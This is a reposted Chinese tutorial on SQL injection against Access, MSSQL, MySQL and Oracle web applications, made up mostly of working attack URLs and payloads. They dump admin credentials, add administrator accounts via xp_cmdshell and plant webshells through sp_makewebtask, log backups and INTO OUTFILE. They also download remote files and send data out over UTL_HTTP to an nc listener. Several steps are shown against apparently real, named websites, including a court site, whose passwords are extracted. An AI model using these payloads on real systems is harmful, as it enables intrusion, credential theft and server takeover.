简介:sql注入一般针对基于web平台的应用程序 由于很多时候程序员在编写程序的时候没有对浏览器端提交的参数进行合法的判断,可以由用户自己修改构造参数(也可以是sql查询语句),并传递至服务器端 获取想要的敏感信息甚至执行危险代码和系统命令就形成了sql注入漏洞,时至今日任然有很大一部分网站存在sql注入漏洞,可想而知sql注入攻击的危 害,下面就目前sql注入攻击技术进行总结,让我们更加了解这种攻击与防御方法
一、 access数据库注入攻击技术
目前国内很大一部分网站都是采用asp+access搭建成的
本文演示网站是在虚拟机搭建的一套留言板程序
http://192.168.80.128:8181/bbs/index.asp(留言板首页)
点击公告连接
此时注意观察地址栏http://192.168.80.128:8181/bbs/gshow.asp?id=1
Gshow.asp后面跟了一个id参数,其值为数字1, 下面我们来看一下服务器端的gshow.asp中的读取公告内容的代码
<% setrs=server.CreateObject("adodb.recordset")
sql="select * from gonggaowhere id="&request.QueryString("id")
rs.open sql,conn,1,3
if rs.eof or rs.bof then
response.write("暂无公告内容")
else
%>
<divalign="center"><%=rs("titles")%><br/>
<%=rs("content")%><%=rs("addtime")%></div>
<%
end if
rs.close
set rs=nothing
%>
可以很明显的看到程序在接收到浏览器端传递过来的id参数时,没有经过任何过滤就直接进入数据接查询了,那么我们怎么来通过这个漏洞来获取我们想要的信息呢,测试之前我们是不知道对方所使用的数据库类型也不知道数据库里面有哪些表、字段等等(类似blackbox test),一般情况下asp可以与access和 mssql数据库结合,首先我们来判断一下数据库类型
在id参数后面加上 and exists(select * from msysobjects)
注:mysysobjects是access的系统表
完整的测试语句:http://192.168.80.128:8181/bbs/gshow.asp?id=1 and exists(select* from msysobjects)回车提交到服务器端
如图,根据服务器返回结果,(Microsoft JET Database Engine 错误 '80040e09'不能读取记录;在'msysobjects'上没有读取数据权限。/bbs/gshow.asp,行 11) 说明存在msysobjects表,也就是说后台是采用的access数据库(若服务器返回[Microsoft][ODBC SQL Server Driver][SQLServer]对象名 'msysobjects' 无效。则说明是sqlserver数据库,相关方法会在下面讲述,这里重点讨论access数据库)
下面我们来进一步获取我们想要的信息 一般网站重要的信息就是后台管理员登陆帐号密码了,我们提交http://192.168.80.128:8181/bbs /gshow.asp?id=1 and exists(select * from users) (判断数据库中是否存在users表)
根据图中返回结果提示users表不存在,那么我们继续来提交
http://192.168.80.128:8181/bbs/gshow.asp?id=1 and exists(select * from admin
服务器端返回的数据和http://192.168.80.128:8181/bbs/gshow.asp?id=1一样
这是因为参数一起带入数据库里面就变成了select* from gonggao where id=1 and exists(select * from admin) 由于存在admin表条件成立就和select * from gonggao where id=1的查询返回结果一样了,找到了admin表现在就以此类推猜测字段
提交http://192.168.80.128:8181/bbs/gshow.asp?id=1and exists(select user from admin)
服务器返回”至少一个参数没有被指定值”
说明不存在user字段,继续提交http://192.168.80.128:8181/bbs/gshow.asp?id=1 and exists(select admin from admin)
服务器返回正常,说明admin表里面存在字段”admin”(这个字段一般就是管理员登陆名称)
再提交
http://192.168.80.128:8181/bbs/gshow.asp?id=1 and exists(select password from admin)
说明存在password字段(就是登陆密码了),继续猜测第一个字段内容长度
http://192.168.80.128:8181/bbs/gshow.asp?id=1 and (select top 1 len(admin) from admin)=5 得到下图所示的页面说明长度为5
现在可以根据得到的信息猜解字段内容了,具体方法就是and (select top 1 asc(mid(admin,x,1))from admin)>x将表中第一条记录指定字段内容的某个字符的ascii值进行比较,以此类推从而猜测出字段内容 本文中提交
http://192.168.80.128:8181/bbs/gshow.asp?id=1and 97=(select top 1 asc(mid(admin,1,1)) from admin)
这种方法手动来输入很浪费时间,下面介绍另外一种高效率的方法,unionselect--联合查询.
小知识:
UNION运算符可以将两个或两个以上上SELECT语句的查询结果集合合并成一个结果集合显示,即执行联合查询。UNION的语法格式为:
select_statement
UNION [ALL] selectstatement
[UNION [ALL] selectstatement][…n]
其中selectstatement为待联合的SELECT查询语句。
ALL选项表示将所有行合并到结果集合中。不指定该项时,被联合查询结果集合中的重复行将只保留一行。
联合查询时,查询结果的列标题为第一个查询语句的列标题。因此,要定义列标题必须在第一个查询语句中定义。要对联合查询结果排序时,也必须使用第一查询语句中的列名、列标题或者列序号。
在使用UNION 运算符时,应保证每个联合查询语句的选择列表中有相同数量的表达式,并且每个查询选择表达式应具有相同的数据类型,或是可以自动将它们转换为相同的数据类型。在自动转换时,对于数值类型,系统将低精度的数据类型转换为高精度的数据类型。
在包括多个查询的UNION语句中,其执行顺序是自左至右,使用括号可以改变这一执行顺序。例如:
查询1 UNION (查询2 UNION 查询3)
已知数据库中有两个表(gonggao,admin)其中test表结构和内容如下
“公告”表里面有5个字段,admin里面有3个字段
在sql视图中执行查询语句
select * from gonggao where id=1 unionselect 1,2,3,4,5 from admin,(5是gonggao表的字段个数)返回下图所示
查询结果返回的第一条数据是1,2,3,4,5
而程序将第一次查询到的数据输出到网页
<% setrs=server.CreateObject("adodb.recordset")
sql="select * from gonggaowhere id="&request.QueryString("id")
rs.open sql,conn,1,3
if rs.eof or rs.bof then
response.write("暂无公告内容")
else
%>
<divalign="center"><%="标题: " & rs("titles")%><br/>
<%="内容:" &rs("content")%><%=" <br> 发布时间:" &rs("addtime")%></div>
<%
end if
rs.close
set rs=nothing
%>
在浏览器地址栏输入
http://192.168.80.128:8181/bbs/gshow.asp?id=1union select 1,2,3,4,5 from admin 返回如下
结合数据库表和代码来看 在网页中输出了titles、content、addtime这三个字段内容,在表中就是2,3,4的位置
接下来我们把2、3、或4输出的地方换成我们想要查询到的管理员信息,上面我们已经知道了管理员表里面存在admin、password字段,构造语句
http://192.168.80.128:8181/bbs/gshow.asp?id=1union select 1,admin,password,4,5 from admin
这样就获取了管理员表admin中的数据,有了这些信息接下来能够干什么事情大家都清楚了吧。
(利用查询出来的管理员帐号登陆可以进行非法管理)
细心的读者会提问怎样知道字段个数的。那么怎样去判断字段个数呢,有两个方法:一个就是用oder by x排序(X为猜测的字段个数,返回正常则说明表中字段个数大于或等于x),本例中 在存在注入漏洞的地址后面加上 order by 4
根据图中返回信息可以判定字段数>=4,继续提交 order by 6
如图,出现了错误提示,说明字段数是小于6的,再提交order by 5
返回正常页面结合上面就可以断定字段数为5了,再使用union select即可查询出想要的信息
;另一个是用union select x,x来累加猜测
如果返回上图所示的错误信息就累加,直到页面输出数据的地方出现数字
然后再将字段名替换数字就能够实现快速得到数据库信息了。
二、 Mssql注入技术
目前mssql数据库在web应用程序开发中也占了很大一部分比例,很多脚本语言都能够与之相结合,
下面来介绍基于asp+Mssql web环境下的注入攻击技术,本文测试平台为一套新闻发布程序
主界面如下
点击进入新闻连接http://192.168.80.128:8181/aspsql/news.asp?id=1
先来分析下news.asp的读取数据代码
<%
Dim rsCate
'定义记录集对象
Set rs =Server.CreateObject("ADODB.RecordSet")
Set rsCate =Server.CreateObject("ADODB.RecordSet")
'设置SQL语句,读取指定的新闻记录
sqlString="SELECT * FROM News WHEREId=" & Request("id")
rs.Open sqlString, Conn, 1,3
'替换新闻正文中的特殊标记
rqtContent= rs("content")
%>
<center>
<table borderColorLight="#000080" cellSpacing="5"cellpadding="0" width="98%">
<tr>
<td width="100%" align=centerheight=50><strong><font color=redsize=4><%=stitle%></font></strong>
</td></tr>
<tr>
<tdalign=center><strong><%=RS("title")%></strong><br>
<%=RS("posttime")%><br>
<hr color="blue"></td>
</tr>
<tr>
<td><%=rqtContent%></td>
</tr>
</table></center>
<%
rs.Close
Set rs = Nothing
%>
同样是接受客户端提交来的参数id没有经过任何过滤就进入了数据库查询,就导致注入漏洞产生。下面开始测试
首先在参数后面提交单引号’服务器马上返回下图所示的典型的错误提示
这是因为此时的查询语句变成了
“Select * from newswhere id=1’” 有未闭合的单引号,根据错误提示看到了sqlserver字样因此可以判断后台使用了mssql数据库,(也可以继续用and 1=1和and 1=0根据服务器返回结果是否一样来判断是否存在注入,本文中程序代码是存在注入的所以就不多加测试)
注:可以使用and exists(select * from sysobjects)来判断,sysobjects是mssql系统自带的表).
再来提交
查询语句变成select * from news where id=1 and system_user=0
其中system_user是查询当前连接数据库的用户名 。返回值是字符型,而我们的语句后面就变成了and sa=1,sa是字符型数据,而1是int (整型),二者进行比较的时候因为类型不匹配数据库就会报错
根据返回信息,我们得知了当前连接数据库的用户名(也可以使用and1=(SELECT IS_SRVROLEMEMBER('sysadmin'));--如果返回正常则说明是sa权限),sa为数据库用户中最高权限,而且默认也是系统权 限,有了系统权限 对服务器安全威胁是相当高的,假如数据库和web服务器是同一个服务器,默认情况下我们就可以通过mssql自带的存储过程对整个服务器进行控制
xp_regread注册表读取
xp_regwrite 写入注册表
xp_dirtree 列目录
xp_enumdsn ODBC连接
xp_loginconfig 服务器安全模式信息
xp_makecab 创建压缩卷
xp_ntsec_enumdomains domain信息
xp_terminate_process 终端进程,给出一个PID
xp_cmdshell(利用此存储过程可以直接执行系统命令)
我们先来判断一xp_cmdshell存储过程是否存在,在浏览器里面提交
http://192.168.80.128:8181/aspsql/news.asp?id=1and 1=(select count(*) FROM master.dbo.sysobjects where name ='xp_cmdshell')
注:select count(*) frommaster.dbo.sysobjects where name=’xp_cmdshell’此语句查询系统表msobjects里面存在名称为xp_cmdshell的记录数,返回是1,整个语句变为1=1 成立,数据库就不会报错,所以此页面返回正常
如果此扩展存储不存在,我们可以用exec sp_addextendedprocxp_cmdshell,'xplog701.dll'来恢复,要禁用的话可以用exec sp_dropextendedproc'xp_cmdshell'
继续来进一步利用,假如数据库服务器已经开启远终端服务,允许用户远程管理计算机,我们直接用存储过程执行系统命令添加一个管理员帐号即可登陆服务器
接下来开始测试添加帐户,在浏览器提交
http://192.168.80.128:8181/aspsql/news.asp?id=1;execmaster..xp_cmdshell ’net user test westone /add’(添加一个用户名为test密码为westone的用户)
没有报错继续提交http://192.168.80.128:8181/aspsql/news.asp?id=1; execmaster..xp_cmdshell 'net localgroup administrators test /add'—(将添加的用户添加至管理员组)
下面来连接一下服务器终端
输入用户名test和密码westone就可以对服务器进行远程非法控制了,上面的方法虽然执行了命令,但是看不到执行回显结果,而且有 时候服务器没有开启远程终端服务或者是默认端口被管理员修改,我们则可以创建一个临时表,将命令执行结果插入到临时表里面,然后读取临时表里面的内容就看 到回显结果了。具体实现过程如下,在浏览器依次提交
http://192.168.80.128:8181/aspsql/news.asp?id=1;droptable black;create TABLE black(result varchar(7996) NULL, ID int NOT NULLIDENTITY (1,1))--
http://192.168.80.128:8181/aspsql/news.asp?id=1;insertinto black exec master..xp_cmdshell 'ipconfig /all'--
http://192.168.80.128:8181/aspsql/news.asp?id=1and (select result from black where id=1)>0--
and (select result from black where id=1)>0—依次更换后面的id来查询获取命令执行结果
SA权限可以做的事情还有很多比如调用xp_regwrite写入注册表
;xp_regwrite'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\currentversion\run','black','REG_SZ','netuser test westone /add'(这里是写入注册表启动项,系统启动后就会运行”net user test westone”命令在服务器上添加一个test帐户)
下次登陆的时候就服务器就多了一个test帐户了
还可以用另外一种方式来执行系统命令
首先开启沙盒模式:
http://192.168.80.128:8181/aspsql/news.asp?id=1;execmaster..xp_regwrite'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
然后利用jet.oledb执行系统命令
http://192.168.80.128:8181/aspsql/news.asp?id=1;select *
from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\ias.mdb','selectshell("net user westone westone /add")')
注:如果注入点的参数是integer型的就用ias数据库,如果是string型的就dnary.mdb,如果是win2k系统,路径就是x:\winnt\system32\ias\ias.mdb,x是系统路径
下面是关于沙盒模式的简介,更详细的资料在http://office.microsoft.com/zh-cn/access/HP010446592052.aspx
为 了帮助增强数据的安全性,可以选择以沙盒模式运行 Access 2003。在沙盒模式下,Access 仅计算字段属性和控件中那些安全的表达式。如果表达式未使用恶意用户可用来访问他们未得到授权的驱动器、文件或其他资源的那些函数或属性,则可以认为该表 达式是安全的。例如,函数 Kill 和 Shell 可被用于损坏计算机中的数据和文件,因此,认为它们是不安全的。以沙盒模式运行 Access 时,调用这些函数或属性的表达式将会导致错误信息。
Sa权限还能执行sp_makewebtask(创建一项生成 HTML 文档的任务,该文档包含执行过的查询返回的数据。更多相关资料点击http://www.3800hk.com/news/w45/93964.html)在入侵测试过程中,可以用这个扩展存储来将一句话木马写入到服务器磁盘,一般是写入web目录,先将一句话木马转换成url格式
http://192.168.80.128:8181/aspsql/news.asp?id=1;exec
sp_makewebtask'c:\inetpub\wwwroot\aspsql\no.asp','select''%3C%25%65%78%65%63%75%74%65 %72%65%71%75%65%73%74%28%22%76%61%6C%75%65%22%29%25%3E'''--
|
就这样成功得到一个webshell。
Sa权限还可以调用sp_oacreate存储过程来完成更多功能,比如远程下载文件
提交 http://192.168.80.128:8181/aspsql/news.asp?id=1;[email protected] varbinary(8000),@hr int,@http INT,@down INT EXEC sp_oacreate[Microsoft.XMLHTTP],@http output [email protected] = sp_oamethod @http,[Open],null,[GET],[http://192.168.80.128:8181/0.txt],0EXEC @hr = sp_oamethod @http,[Send],null EXEC @[email protected],[responseBody],@B output EXEC @hr=sp_oacreate [ADODB.Stream],@down outputEXEC @hr=sp_OASetProperty @down,[Type],1 EXEC @[email protected],[mode],3 EXEC @hr=sp_oamethod @down,[Open],null EXEC @[email protected],[Write],null,@B EXEC @hr=sp_oametho[email protected],[SaveToFile],null,[c:\inetpub\wwwroot\aspsql\set.asp],1 –
(下载文件http://192.168.80.128:8181/aspsql/0.txt的内容到
c:\inetpub\wwwroot\aspsql\set.asp)
上 面介绍的是sa权限下的攻击方法,下面我们来对当数据库连接帐户为dbowner权限时候的入侵测试做下总结,当我们遇到dbo权限的注入点时,通常就是 先用xp_dirtree来列出web目录,然后用sql语句创建一个临时表,插入写入一句话木马到临时表,再用备份数据库语句备份数据库到web目录并 保存为asp格式,最后再用一句话木马客户端连接得到webshell。在测试环境服务器的企业管理器上配置一个dbowner权限的数据库帐户
并对数据库news有访问权限.将上面的测试代码中连接数据库的sa改成news帐户
现在就可以测试dbo权限下的sql注入了
具体实现方法如下
判断当前数据库用户是否为db_owner权限
在注入点后面输入and 1=(SELECT IS_MEMBER('db_owner'));--
页面返回正常说明的确是db_owner权限
Web服务器与数据库没有分离情况下就可以备份一句话木马到web目录了
我们先来用下面语句查找web目录
create table temp(dir nvarchar(255),depth varchar(255),files varchar(255) ,IDint NOT NULL IDENTITY (1,1));--
--insert into temp(dir,depth,files) execmaster.dbo.xp_dirtree 'c:',1,1--
select * from news where id=1 and(selectdir from temp where id=2)>0
第一步
http://192.168.80.128:8181/aspsql/NewsView.asp?id=7;create table temp(dir
nvarchar(255),depth varchar(255),files varchar(255) ,ID int NOT NULL IDENTITY(1,1))--(创建一个临时表,一共4个字段,前三个字段用于存放执行存储过程xp_dirtree返回的结果,id字段则方便查询 指定内容)
第二步
http://192.168.80.128:8181/aspsql/NewsView.asp?id=7;insert into temp(dir,depth,files)exec master.dbo.xp_dirtree 'c:',1,1--
(执行xp_dirtree将指定目录的文件和文件夹名称插入到临时表里面)
第三步
http://192.168.80.128:8181/aspsql/NewsView.asp?id=7 and(select dir from tempwhere id=1)=0
(查询临时表里面的内容,也就是指定的目录文件和文件夹名,不能依次性获取,得更改ID的值依次列出文件和文件夹来。)
以此类推,只要有足够耐心就可以找到web目录,
当我们经过列举找到web目录后,(比如本文中web的绝对路径为
C:\Inetpub\wwwroot\aspsql)
下面就开始写入一句话木马
第一步
http://192.168.80.128:8181/aspsql/NewsView.asp?id=1;alter database news setRECOVERY FULL
第二步
http://192.168.80.128:8181/aspsql/NewsView.asp?id=1;create%20table%20cmd(str%20image)--
第三步
http://192.168.80.128:8181/aspsql/NewsView.asp?id=1;backup log news todisk='c:\cmd' with init--
第四步
http://192.168.80.128:8181/aspsql/NewsView.asp?id=1;insert into cmd(str) values('<%excute(request("cmd"))%>')--
第五步
http://192.168.80.128:8181/aspsql/NewsView.asp?id=1;backup log news todisk='C:\Inetpub\wwwroot\aspsql\cmd.asp'--
第六步
http://192.168.80.128:8181/aspsql/NewsView.asp?id=1;alter database news setRECOVERY simple
执行完毕后就会在web目录下生成一个文件
可以用一句话木马客户端连接即可得到webshell
很多时候注入不一定能够执行存储过程,或者权限不够,就得像access数据库那样猜解管理员表,字段、内容
下面介绍sql注入暴取数据库、表名,字段、字段内容的方法
获取当前帐户的所有数据库
提交
http://localhost:8181/aspsql/NewsView.asp?id=1 and 1=(select name frommaster.dbo.sysdatabases where dbid=1)--
变换bdid的值来获取数据库列表里面的所有数据库名(注:0x75是u的16进制)
http://localhost:8181/aspsql/NewsView.asp?id=1 and (select top 1 name from(select top 1 name from sysobjects where xtype=0X75 order by name) t order byname desc)=0
(列出当前数据库中的表名)
(对比一下数据库中的表查询返回出了正确的表名)
要查询指定数据库的表名变换一下语句就行,比如跨数据库获取表http://localhost:8181/aspsql /NewsView.asp?id=1;and (select top 1name from (select top x name from 数据库名..sysobjects where xtype=0X75 order by name) t order by name desc)=0
(不停变换x的值从而获取其他数据库中表名)
知道了表名,下面就进一步获取数据库表里面的内容了
提交语句
http://localhost:8181/aspsql/NewsView.asp?id=1 and (selectcol_name(object_id('users'),1))=0
(成功获取数据库中users表的第一、二个字段名),以此类推就可以得到表中的所有字段名
下面来进一步获取字段内容
提交http://localhost:8181/aspsql/NewsView.asp?id=1and(select username from users where userid=1)>0浏览器返回下图所示
成功得到users表里面的userid为一的username的内容(admin)
(成功得到密码进入网站后台)
补充另外一种方法,可以暴取当前表的字段
提交http://localhost:8181/aspsql/NewsView.asp?id=1having 1=1
暴出了当前查询的字段
再提交http://localhost:8181/aspsql/NewsView.asp?id=1group by id having 1=1
暴出了第二个字段名title
再提交
http://localhost:8181/aspsql/NewsView.asp?id=1 group by id,title having 1=1
得 到content字段,以此递增知道出现“[Microsoft][ODBC SQL Server Driver][SQL Server]不能比较或排序 text、ntext 和 image 数据类型,除非使用 IS NULL或 LIKE 运算符。“的错误提示说明所有字段已经获取完了。
至于mssql 中public权限注入点则可以结合以上语句获取数据库的管理员表、字段、内容然后进入后台想办法拿webshell
。
三、 Mysql注入技术
mysql数据库在web开发中也是运用得相当广泛,和其它数据库一样,在脚本编程时如果对参数没过滤或过滤不严格也会导至注入漏洞的产生。本文就以最为常见的php+mysql环境下的注入攻击技术进行总结。
目标网站为http://spring.sina-qd.com/
点开一条带参数的新闻链接
http://spring.sina-qd.com/news/show.php/?id=18944
在url后面加上一下单引号
这是程序简单处理了数据库暴错信息。下面来进一步确定是否存在注入漏洞
分别提交http://spring.sina-qd.com/news/show.php/?id=18944and 1=1
http://spring.sina-qd.com/news/show.php/?id=18944and 1=2
当提交and 1=2的时候数据返回了错误信息,这种情况下无论什么数据库都可以确定存在注入漏洞了。开始进一步或取相关信息,
先用order by取得当前表的字段数,提交
http://spring.sina-qd.com/news/show.php/?id=18944 order by 14
返回了正常页面,再提交
http://spring.sina-qd.com/news/show.php/?id=18944 order by 19
返回出错页面,说明字段数在大于或等于14小于19,
再来提交
http://spring.sina-qd.com/news/show.php/?id=18944order by 16返回正常
提交http://spring.sina-qd.com/news/show.php/?id=18944order by 17
出错,跟据上面返回的结果说明字段数为16,再来使用union select 方法进一步获取我们想要的信息,
提交http://spring.sina-qd.com/news/show.php/?id=18944and 1=2 union select 1,2,3,4,5,6,7,8,9,0,11,12,13,14,15,16/**
跟据页面返回信息可以看到在数据库查询显示结果的地方显示了我们刚刚输入的数字,
下一步或取数据库版本,当前用户,数据库名
提交http://spring.sina-qd.com/news/show.php/?id=18944and 1=2 union select 1,2,user(),4,version(),6,7,8,9,0,11,12,13,14,15,16
当前用户为sinaqd(非root),版本为4.0.18(5.0以下),对于这种情况,
思路就是通过注入点提交查询语句得到管理员登陆信息然后进入后台上传webshell,
下面来判断管理员表,
http://spring.sina-qd.com/news/show.php/?id=18944 and 1=2 union select1,2,3,4,5,6,7,8,9,0,11,12,13,14,15,16 from user返回错误页面
再提交http://spring.sina-qd.com/news/show.php/?id=18944and 1=2 union select 1,2,3,4,5,6,7,8,9,0,11,12,13,14,15,16 from users
说明存在users(有时候是管理员表,有时候是普通注册用户)表
继续猜字段
http://spring.sina-qd.com/news/show.php/?id=18944%20and%201=2%20union%20select%201,2,name,4,5,6,7,8,9,0,11,12,13,14,15,16%20from%20users
成功获取登陆名称sinaqd
继续提交
http://spring.sina-qd.com/news/show.php/?id=18944%20and%201=2%20union%20select%201,2,name,4,password,6,7,8,9,0,11,12,13,14,15,16%20from%20users
不存在pasword字段,
提交http://spring.sina-qd.com/news/show.php /?id=18944%20and%201=2%20union%20select%201,2,name,4,passwd,6,7,8,9,0,11,12,13,14,15,16%20from%20users
暴出了密码,下面就寻找后台入口了,配合google很快找到了管理入口
http://spring.sina-qd.com/manage/generally/login.php
输入用户名和密码,成功进入后台。现在是管理员了,然后在找到上传的地方上传webshell
此时我们对网站文件和后台都有控制权限了。
mysql版本为5以上的手工注入方法
申明:本文演示为真实网站,切勿破坏
http://www.gzhsfy.org/shownews.php?id=7503注入地址
根据上面的方法在地址后面进行猜字段数,然后用union select方法查询数据库连接用户,数据库版本
and 1=2 union select1,2,user(),version(),5,6,7,8,9,0,11,12,13,14,15,16,17,18,19,20,21,22/*
当前用户为root,数据库版本为5.0.41-community-nt
一 般情况下当看到上图所示的页面是值得高兴的,因为root帐户在mysql当中有最高权限,可以用load_file()函数读取服务器上的文件,如果 web服务器和数据库服务器没有分离的话当找到web路径之后还可以用select into outfile()将查询结果导出到web目录(通常是一句话木马对我们比较有用),当然也有条件限制的,如果是jsp连接的mysql的话可以直接导 出,因为导出是指定路径的双引号在php中如果配置文件中的magic_quotes_gpc=on的话就会被自动转义成\’;继续来进一步获取信息
提交
http://www.gzhsfy.org/shownews.php?id=7503%20and%201=2%20union%20select%201,2,user(),load_file('c:/boot.ini'),5,6,7,8,9,0,11,12,13,14,15,16,17,18,19,20,21,22/*
(用load_file函数读取服务器上面的文件)
返回内容为空,这时有几种情况,第一就是php.ini 配置文件中magic_quotes_gpc为on单引号被转义,且屏蔽了错误提示信息。下面我们将c:\boot.ini转换成16进制
0x633A5C626F6F742E696E69
再提交
http://www.gzhsfy.org/shownews.php?id=7503 and 1=2 union select1,2,user(),load_file(0x633A5C626F6F742E696E69),5,6,7,8,9,0,11,12,13,14,15,16,17,18,19,20,21,22/*
成功获取了c:\boot.ini文件的内容,得知系统为win2k3,继续寻找目标网站的web路径,一般有几种方法
再变量后面加上单引号、改变参数类型、增加参数位数、/phpmyadmin、搜索引擎
经尝试前面几种都在此无效,用搜索引擎来找web目 录原理就是有时候mysql数据库出错就会显示一些错误信息,甚至暴出web物理路径,而搜索引擎有时候会对网站页面进行快照抓取,包括脚本出错页面,本 例中的网站就是一个典型的例子,搜索mysqlsite:hzhsfy.org或者warning: site:gzhsfy.org
从搜索结果中 得到了网站的物理路径,再来读取敏感文件 比如数据库连接文件,
用上面的方法先读取D:\mysite\gzhsfy\index.php(16进制编码)
可以看到index.php源代码了,继续读取D:\mysite\gzhsfy\include\config.php
(一般情况下这类包含文件就是连接数据库、网站的一些参数配置等的)
得到这个后就可以尝试找phpmyadmin,然后用得到的root帐号和密码登陆
登入数据库管理工具phpmyadmin然后执行下面的语句就可以将一句话木马写入到web目录(web目录需要运行mysqld-nt的帐户写入权限)
select0x3C3F706870206576616C28245F524551554553545B636D645D293B3F3E into outfile'D:/mysite/gzhsfy/include/fk.php'
得到了一句话木马|
上传一个提权脚本
是系统权限能执行任意命令,就这样一个注入点就导致这个法院网站服务器沦陷了
当mysql版本在5.0以上 连接数据库帐号是普通用户时,我们可以列出管理员信息然后登陆后台再上传webshell
使用select table_name frominformation_shcema.tables limit x,1()来列举表名
http://www.gzhsfy.org/shownews.php?id=7503%20and%201=2%20union%20select%201,2,table_name,4,5,6,7,8,9,0,11,12,13,14,15,16,17,18,19,20,21,22%20from%20information_schema.tables%20limit%201,1/*(更换limit后面的数字获取数据库中所有表)
再 用select column_name frominformation_schema.columns where table_name=表名的16进制编码; 提交http://www.gzhsfy.org/shownews.php?id=7503 and 1=2 union select1,2,column_name,4,5,6,7,8,9,0,11,12,13,14,15,16,17,18,19,20,21,22 frominformation_schema.columns where table_name=0x636F757274 limit 1,1/*
以此类推可以列出表的字段,再来列内容
select user_name from court
提交 http://www.gzhsfy.org/shownews.php?id=7503and 1=2 union select1,2,user_name,4,5,6,7,8,9,0,11,12,13,14,15,16,17,18,19,20,21,22 from courtlimit 2,1/**
就可以获取管理员登陆信息了
获取登陆密码后可以试试常用的 admin /manage等目录尝试登陆后台,也可以搜集后台字典用工具扫描后台,然后找上传的地方上传webshell(一般是利用有的后台发表文章的地方上传附 件或图片文件没有过滤文件格式可以上传webshell、还有的后台在线编辑器漏洞也可以上传)
四.oracle注入技术,
许多大型网站选用了Oracle系统。Oracle的关系数据库是世界第一个支持SQL语言的数据库。
oracle可以与许多脚本程序搭配,下面就来介绍jsp+oracle下的注入技术
首先要判断是否为oracle注入点,总结为下面几步
xx.jsp?id=1 and 1=1
xx.jsp?id=1and 1=2返回不一样则继续
xx.jsp?id=1/*返回错误(“/*”是mysql中的注释符)
xx.jsp?id=1--返回正常 //(“--“是oracle和mssql支持的注释符)
xx.jsp?id=1;返回错误 //(oracle不支持多行查询)
xx.jsp?id=1and exists(select * from dual) //(dual是oracle中的系统表)
满足上面条件就可以确定是oracle注入点了
然后用order by x猜出列数 再用联合查询(union select)方法得到想要的信息
比如 提交http://localhost:8000/oa/oa.jsp?id=4order by 4
如果返回出错信息或者空页面说名当前表中的字段数小于4
再提交http://localhost:8000/oa/oa.jsp?id=4 order by3
页面返回正常说明字段数是3
接着提交
http://localhost:8000/oa/oa.jsp?id=4%20and%201=2%20union%20select%20null,null,null%20from%20dual--
再来判断一下页面输出的地方是否有字符型数据 ,提交
http://localhost:8000/oa/oa.jsp?id=4%20and%201=2%20union%20select%20%271%27,null,null%20from%20dual--
返 回了出错信息,因为我们是在第一个字段位置处提交的符’1’而表中第一个字段是数值型数据,两个数据类型不相配,这样程序在执行sql语句时就会出错,上 图中 服务器没有进行错误屏蔽处理 就返回了错误提示信息,页面中只有两个输出的地方,新闻浏览页一般都是标题和内容并且都是字符型数据,所以也可以直接在图中显示的地方插入查询语句以便输 出想要的信息
xx.jsp?id=1and 1=2 union select null,null,null from daul(根据页面输出数据的地方判断字段类型以便和想要得到想要信息的数据类型匹配,此处是标题和内容都是varchar2型的数据所以这里演示就将查 询语句插入到第二或第三个null处)
xx.jsp?id=1and 1=2 union select null,(select banner from sys.v_$version whererownum=1),null from dual
//查询版本信息
获取表名
xx.jsp?id=1and 1=2 union select null,(select table_name from user_tables whererownum=1),null from dual
//查询数据库中第一个表 假如得到的是ADMIN
xx.jsp?id=1and 1=2 union select null,(select table_name from user_tables where rownum=1and table_name<>'ADMIN’),null from dual
(注意表名'ADMIN'要大写)
//查询数据库中第二个表 假如得到的是AQ$_INTERNET_AGENTS
提交xx.jsp?id=1 and 1=2 union selectnull,(select table_name from user_tables where rownum=1 andtable_name<>'BORAD' and table_name<>'AQ$_INTERNET_AGENTS'),nullfrom dual
//以此类推可以查询出当前用户数据库中的所有表名
获取字段名
xx.jsp?id=1and 1=2 union select null,(select column_name from user_tab_columns wheretable_name='ADMIN' and rownum=1),null from dual
//获取admin表中第一个字段,假如返回结果为ID
xx.jsp?id=1and 1=2 union select null,(select column_name from user_tab_columns wheretable_name='ADMIN' and column_name<>'ID' and rownum=1),null from dual
//获取admin 表中第二个字段,假如得到的是USERNAME
xx.jsp?id=1and 1=2 union select null,(select column_name from user_tab_columns wheretable_name='ADMIN' and column_name<>'ID' and column_name<>'USERNAME'and rownum=1),null from dual
//以此类推就可以列出目标表的字段
获取字段内容
xx.jsp?id=1and 1=2 union select null,username,password from admin where id=1
//可查询出目标表里面的相应字段内容
以此类推就可以获取表中的所有字段内容(此处id是表中的一个唯一字段标识,改变id值即可获得指定id的字段内容)
selectmember from v$logfile where rownum=1
//查询日志文件绝对路径(可以判断操作系统平台,例子中获取的为windows系统中的文件路径)
selectinstance_name from v$instance
//获取服务器sid
xxx.jsp?id=1and 1=2 union select null,(select sys_context('userenv','current_user') fromdual),null from dual
//获取当前连接用户
注入方法2
nc配合utl_http存储过程
xx.jsp?id=1and exists(select count(*) from all_objects where object_name='UTL_HTTP')
//判断utl_http存储过程是否可用
返回页面正常说明存在utl_http存储过程
先用在一个公网ip的机子上面用nc监听一个端口
nc -vv -l-p 9999
然后提交
xxx.jsp?id=1and utl_http.request('http://ip:端口/'||(查询语句))=1
比如查询oracle版本,提交
http://localhost:8000/oa/oa.jsp?id=4and UTL_HTTP.request('http://127.0.0.1:9999/'||(select banner fromsys.v_$version where rownum=1))=1--
此处是本地演示所以是本地ip 127.0.0.1
结合上面的语句就可以获取到数据库信息
转载于:https://www.cnblogs.com/amwld/archive/2011/06/07/2073977.html